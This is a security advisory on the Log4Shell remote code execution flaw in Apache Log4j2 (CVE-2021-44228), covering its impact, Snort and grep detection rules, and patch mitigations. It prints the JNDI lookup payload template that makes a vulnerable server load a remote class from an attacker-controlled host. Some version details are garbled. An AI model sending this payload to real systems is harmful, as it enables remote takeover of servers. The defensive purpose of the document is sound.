APACHE LOG4SHELL 0DAY EXPLOIT

EXECUTIVE SUMMARY

A significant 0day Remote Code Exploit (RCE) has been identified in the open-source Java-based logging framework, Apache Log4j2. This framework is used widely in millions of web applications to facilitate logging of application error data. Attackers can exploit this vulnerability by sending specially crafted requests to vulnerable systems which allows the attacker to load arbitrary Java code, giving them root access to the system. Proof of concept code and tools to generate exploitable payloads are publicly available and widespread scanning of the Internet for vulnerable systems is underway. 

Dataprise is actively monitoring indicators of compromise and alerting clients about attempts to exploit this vulnerability.

IMPACT

The ubiquitous use of the Apache Log4j2 framework in webapps and the ease of exploit with an unauthenticated RCE resulting in full root access to the underlying system makes the impact of this vulnerability CRITICAL. The Qualys Senior Manager of Vulnerabilities and Signatures was quoted as saying, “The Apache Log4j zero-day vulnerability is probably the most critical vulnerability we have seen this year, Log4j is a ubiquitous library used by millions of Java applications for logging error messages. This vulnerability is trivial to exploit.” 

Many prominent webapps and services online including Minecraft, Twitter, Apple’s iCloud, and Steam amongst many others have been impacted by exploits to this vulnerability in the past 48 hours. The full scope of this vulnerability is not yet known, but is anticipated to be multiple millions of affected systems.

DETAILED ANALYSIS

On Nov 24, 2021 a 0day Remote Code Execution (RCE) vulnerability in the open-source Java-based logging framework, Apache Log4j2, was identified by Chen Zhaojun of Alibaba and reported to Apache. This is a critical RCE vulnerability being tracked as CVE-2021-44228 (aka “Log4Shell”) which impacts all versions of Log4j2 from 2.0-beta9 to 2.14.1.

This vulnerability is exploitable because JNDI, which provides an abstract interface for name resolution and directory services like DNS and LDAP, does not enforce any security controls on LDAP requests.

Log4j2 insufficiently sanitizes user-supplied data, potentially allowing an attacker to provide a string that is interpreted as a variable that, when expanded, results in the loading and invocation of a remote Java class file.

The below example exploit syntax logs the malicious payload as an error message where UserData is the payload. 

        UserData = “${jndi:ldap://[host]/[path]}”; 
        logger.error(UserData);

Once an attacker sends the malicious payload to Log4J2 as an error message, it is interpreted as a variable, that when expanded, loads a remote Java class file from an attacker-controlled location. This class can allow the attacker to load arbitrary code to take control of the system.

INDICATORS OF COMPROMISE :

An HTTP POST with a user agent string following the format below where the host is a malicious or unknown domain/IP.

jndi:ldap://[host]:[port]/[path] 

If you are running Snort, you can use the following Snort rules developed by Crowdstrike to generate alerts for exploit attempts.

alert tcp any any -> $HOME_NET any (msg: “CrowdStrike CSA-211099 Log4Shell RCE Attempt (CVE-2021-44228) [CSA-211099]”; flow: from_client, established; content: “${jndi:ldap://”; classtype:web-application-attack; sid:8001895; rev:20211210; reference:url,falcon.crowdstrike.com/intelligence/reports/CSA-211099;) 

alert tcp any any -> $HOME_NET any (msg: “CrowdStrike CSA-211099 Log4Shell RCE Attempt (CVE-2021-44228) [CSA-211099]”; flow: from_server, established; content: “|ca fe ba be 00 00 00|”; content: “”; classtype: trojan-activity; sid:8001896; rev:20211210; reference:url,falcon.crowdstrike.com/intelligence/reports/CSA-211099;)

Some additional commands to help you identify potential exploits of this vulnerability have been created by security researcher, Florian Roth, and are available at his GitHub page, including Yara rules that he is actively updating and tuning. https://gist.github.com/Neo23x0/ 

This command searches for exploitation attempts in uncompressed files in folder /var/log and all sub folders

sudo egrep -i -r ‘${jndi:(ldap[s]?|rmi|dns):/[^n]+’ /var/log

This command searches for exploitation attempts in compressed files in folder /var/log and all sub folders

sudo find /var/log -name *.gz -print0 | xargs -0 zgrep -E -I ‘${jndi:(ldap[s]?|rmi|dns):/[^n]+’

MITIGATION

A patch was released on December 10^th for Apache Log4j2 2.15.0. The initial patch released on December 6^th, 2021 was incomplete. Patching again is required if the Dec 6^th patch was applied. 

• Log4J 2.15.0 requires Java 8. Java 7 versions will need to be updated.  
• Log4j-2.1.50.rc2 is the most recent and recommended version. 

Per Apache, if updating immediately isn’t an option, there are several mitigation steps that can be taken: 

• Log4j 2.10 or greater – Ensure log4j.formatMsgNoLookups or Dlog4j.formatMsgNoLookups is set to TRUE
• Log4j 2.7 or greater – Add %m{nolookups} to the PatternLayout configuration 
• All Log4j 2 versions – Remove JdniLookup and JdniManager classes from log4j-core.jar

SOURCES

• https://nvd.nist.gov/vuln/detail/CVE-2021-44228
• https://www.crowdstrike.com/blog/log4j2-vulnerability-analysis-and-mitigation-recommendations/
• https://www.tenable.com/blog/cve-2021-44228-proof-of-concept-for-critical-apache-log4j-remote-code-execution-vulnerability
• https://logging.apache.org/log4j/2.x/security.html
• https://www.sophos.com/en-us/security-advisories/sophos-sa-20211210-log4j-rce
• https://thehackernews.com/2021/12/extremely-critical-log4j-vulnerability.html
• https://gist.github.com/Neo23x0/